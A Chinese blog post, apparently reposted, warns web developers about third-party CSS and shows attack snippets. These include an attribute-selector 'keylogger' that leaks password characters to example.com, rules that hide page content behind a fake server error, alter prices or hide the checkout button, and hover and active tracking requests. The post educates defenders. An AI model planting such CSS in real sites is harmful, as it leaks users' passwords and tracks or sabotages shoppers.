本文来自@yeaseonzhang;链接:http://yeaseonzhang.github.io/2018/04/10/%E5%88%AB%E4%BA%BA%E5%86%99%E7%9A%84css%EF%BC%8C%E4%BD%A0%E6%95%A2%E7%94%A8%E5%90%97%EF%BC%9F/

CSS能做的东西还是很多的,随着CSS Houdini(胡迪尼)的标准化,会变得更强大...

正文从这里开始 ~

为了实现高效开发,大多数时候会选择别人实现好的库/组件引用到自己的项目中,但是这样真的安全吗?

大多数web开发者认为只要不使用别人的js,安全就会有保证。Too young, too naive,殊不知“黑客”已经开始在css上做手脚了。

在浏览器设置中用户可以禁用js,但是css却是没有办法禁用的。

首先聊一聊使用第三方资源,能够造成的危害。

图片

<img src="https://img.com/iphone6s.jpg">

引用第三方图片资源,可能会出现2个问题:

  • 图片资源失效
  • 图片资源被替换

上图展示了使用第三方图片可能带来的后果,图片资源只会影响自身的状态而不会影响其他部分。

脚本Javascript

<script src="http://example.com/script.js"></script>

脚本的作用范围就不是图片能够比拟的了,脚本能够随意控制整个页面。

  • 读取、篡改页面内容
  • 监控用户行为
  • 使用用户浏览器的算力进行挖矿
  • 使用用户cookie做请求,并转发响应
  • 读取、篡改浏览器storage
  • More

注:storage/indexDB 如果被更改,即使删除了脚本,这些更改仍然不可逆。

只有在完全信任的情况下,才会选择加载第三方脚本。

CSS

css在作用范围的方面更加接近于js,因为它同样是在整个页面生效。

css能在以下几个方面对页面进行操作:

  • 增、删和改页面内容
  • 根据页面内容发起请求
  • 响应用户交互

与js相比,css不能做到的是修改storage,也不能用来挖矿。

键盘记录器

键盘记录器,指的是页面会记录用户的输入。目前这种行为只存在于使用React/类React框架的页面。

input[type="password"][value$="p"] {background: url(//example.com/password?p);
}

如果密码输入框,输入以p结尾的密码,就会发起一个//exaple.com/password?p请求。浏览器默认不会记住input输入框的输入,这也就是为什么说这种行为只存在于使用React/类React框架的页面中,下面截取两个例子。

JD主站没有使用React/类React框架,输入框的内容不会再input标签中显示value属性

instagram使用的是React框架,会把输入框的内容同步显示在input的value属性中。

隐藏内容

通过一些技巧,将真正的页面内容不展示给用户。

body {display: none;
}
html::after {content: 'HTTP 500 Server Error';
}

上例将真正的主体内容隐藏,展示给用户HTTP 500错误。

增加内容

.price-value::after {content: '8';
}

商品涨价了诶,估计连卖家都不知道。遇到这种情况用户一般都不会产生购买欲望了。

移动内容

.move-purchase-button {opacity: 0;position: absolute;top: 100px;left: 100px;
}

结算按钮被第三方css就这样搞没了,用户根本没办法完成购买行为,这种情况对电商网站很伤,导致“只能看不能买”。

监控用户交互

.login-button:hover {background: url('//example.com/login-button-hover');
}
.login-button:active {background: url('//example.com/login-button-active');
}

通过上面的代码,可以用来检测用户在登录按钮的交互状态,是hover还是active(点击),不同的状态会发送不同的请求。

如果页面中适量增加类似css代码,可以有用来做用户画像分析。

转载于:https://www.cnblogs.com/chenrf/p/9911689.html

前端读者 | 别人写的css,你敢用吗?相关推荐

  1. 写好CSS代码的70个专业建议-前端开发博客

    写好CSS代码的70个专业建议-前端开发博客 CSS 并不总是容易处理. 在你的能力和经验不够的时候,CSS编程会成为一个噩梦,特别是你不确定为页面元素中选择哪种选择器的时候.使用一个不常见的CSS属 ...

  2. 写好CSS代码的70个专业建议

    写好CSS代码的70个专业建议-前端开发博客 CSS 并不总是容易处理. 在你的能力和经验不够的时候,CSS编程会成为一个噩梦,特别是你不确定为页面元素中选择哪种选择器的时候.使用一个不常见的CSS属 ...

  3. 代码变油画,精细到毛发,这个前端小姐姐只用HTML+CSS,让美术设计也惊叹丨GitHub热榜...

    晓查 郭一璞 发自 凹非寺  量子位 报道 | 公众号 QbitAI HTML不是编程语言,但这并不妨碍精通它的大佬玩出花来. 普通的前端,用HTML+CSS制作网页,元素简单,工具丰富. 大佬级前端 ...

  4. 前端三大技术 HTML、CSS、JavaScript 快速入门手册

    听到前端技术,不少朋友一定会感到有些陌生.但其实,前端,你每天都在接触. 你正在使用的APP,你正在浏览的网页,这些你能看到的界面,都属于前端. 而前端最重要的三大技术,HTML,CSS,JavaSc ...

  5. 前端开发审查元素时CSS样式有个横线(该CSS样式定义后无效) 的解决办法

    问题概述 关于这个问题,博主是在前端开发,样式调试的时候遇到的, 进行盒模型,CSS Debugger调试时,遇到样式设值后不可用的情况! 如下图: 解决办法 左看右看,上看下看,最终发现是前面在编码 ...

  6. 前端学习第三天——CSS

    目录 1.CSS简介 1.html的局限性 1.2CSS-网页的美容师 1.3CSS语法规范 1.4CSS代码风格 2.CSS基础选择器 2.1CSS选择器的作用 2.2选择器分类 2.3标签选择器 ...

  7. 代码变油画,精细到毛发,这个前端小姐姐只用HTML+CSS,让美术设计也惊叹丨GitHub热榜

    HTML不是编程语言,但这并不妨碍精通它的大佬玩出花来. 普通的前端,用HTML+CSS制作网页,元素简单,工具丰富. 大佬级前端,用HTML+CSS绘画,全程不用PS.AI这种图形化的图片编辑器,单 ...

  8. Java云同桌学习系列(十三)——前端技术之HTML与CSS

    本博客java云同桌学习系列,旨在记录本人学习java的过程,并与大家分享,对于想学习java的同学,可以跟随我的步伐一起学习,我希望这个系列能够鼓励大家一同与我学习java,成为"云同桌& ...

  9. 好程序员web前端分享值得参考的css理论:OOCSS、SMACSS与BEM

    为什么80%的码农都做不了架构师?>>>    好程序员web前端分享值得参考的css理论:OOCSS.SMACSS与BEM 最近在The Sass Way里看到了Modular C ...

最新文章

  1. 加强原始创新和基础研究的前提:三项破解之策
  2. mysql 存储过程 嵌套if_mysql存储过程if嵌套if的写法
  3. jQ复制按钮的插件zclip
  4. mysql 一次性导入数据库_Mysql 一次性备份导出/导入恢复所有数据库
  5. CSS实现三列图片等宽等间距布局
  6. Chrome开发者工具Element style里的Computed标签页
  7. 时间序列趋势判断(三)——Mann-Kendall趋势检验
  8. jersey tomcat MySQL_使用 Jersey 和 Apache Tomcat 7 构建 JAX-RS 环境
  9. TensorFlow c++ dump graph to pbtxt
  10. 电信收费计费系统BI项目
  11. 成功解决TypeError: distplot() got an unexpected keyword argument ‘y‘
  12. arcgis自动完成面怎么用_ArcGIS 自动生成线或者面
  13. RS232接口EMC设计方案
  14. echarts学习笔记
  15. 学习笔记——【python】GetGeoTransform()使用,gdal截取图像,使用GDAL进行影像投影坐标、地理坐标、图上坐标的转换
  16. 联志服务器修改启动项,双塔奇兵,来自联志的两款服务器机箱
  17. vue-pdf插件实现pdf文档预览(自动分页预览)——基础积累
  18. 三维计算机动画,三维计算机动画的设计
  19. pytorch中的reshape()、view()、nn.flatten()和flatten()
  20. 崇左市2021年各校高考成绩查询,2021年广西崇左各高中中考分数线及录取时间结果查询安排...

热门文章

  1. 关于logrotate工具的日志切割
  2. Pycharm安装工具包
  3. python练习册 每天一个小程序 第0013题
  4. 技能CDDemo(点击鼠标左键实现技能界面旋转)
  5. 09_Mybatis开发Dao方法——mapper代理开发规范
  6. 关于Oracle中in,exists 与 not in, not exists
  7. GNU C和ANSI C的区别
  8. JavaScript确认提交?
  9. 数据库开发基本操作-数据库基础知识
  10. 设计模式学习—Strategy(策略)